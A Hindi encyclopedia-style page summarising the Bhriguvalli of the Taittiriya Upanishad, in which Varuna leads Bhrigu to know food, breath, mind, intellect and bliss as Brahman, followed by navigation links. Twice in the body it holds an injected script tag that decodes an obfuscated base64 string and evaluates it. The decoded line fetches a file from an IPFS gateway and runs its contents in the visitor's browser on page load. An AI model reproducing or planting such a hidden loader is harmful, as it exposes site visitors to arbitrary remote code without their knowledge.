तैत्तिरीयोपनिषद भृगुवल्ली  

भृगुवल्ली में दस अनुवाक हैं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • भृगुवल्ली में ऋषिवर भृगु की ब्रह्मपरक जिज्ञासा का समाधान उनके पिता महर्षि वरुण द्वारा किया जाता है।
  • वे उन्हें तत्त्वज्ञान का बोध कराने के उपरान्त, साधना द्वारा उसे स्वयं अनुभव करने के लिए कहते हैं।
  • तब वे स्वयं अन्न, प्राण, मन, विज्ञान और आनन्द को ब्रह्म-रूप में अनुभव करते हैं।
  • ऐसा अनुभव हो जाने पर महर्षि वरुण उन्हें आशीर्वाद देते हैं और अन्नादि का दुरुपयोग न करके उसे सुनियोजित रूप से वितरण करने की प्रणाली समझाते हैं।
  • अन्त में परमात्मा के प्रति साधक के भावों और उसके समतायुक्त उद्गारों का उल्लेख करते हैं।
  • जो इस प्रकार है:-



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ


बाहरी कड़ियाँ

संबंधित लेख

तैत्तिरीयोपनिषद ब्रह्मानन्दवल्ली

अनुवाक-1 | अनुवाक-2 | अनुवाक-3 | अनुवाक-4 | अनुवाक-5 | अनुवाक-6 | अनुवाक-7 | अनुवाक-8 | अनुवाक-9

तैत्तिरीयोपनिषद भृगुवल्ली

अनुवाक-1 | अनुवाक-2 | अनुवाक-3 | अनुवाक-4 | अनुवाक-5 | अनुवाक-6 | अनुवाक-7 | अनुवाक-8 | अनुवाक-9 | अनुवाक-10

तैत्तिरीयोपनिषद शिक्षावल्ली

अनुवाक-1 | अनुवाक-2 | अनुवाक-3 | अनुवाक-4 | अनुवाक-5 | अनुवाक-6 | अनुवाक-7 | अनुवाक-8 | अनुवाक-9 | अनुवाक-10 | अनुवाक-11 | अनुवाक-12


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=तैत्तिरीयोपनिषद_भृगुवल्ली&oldid=599311" से लिया गया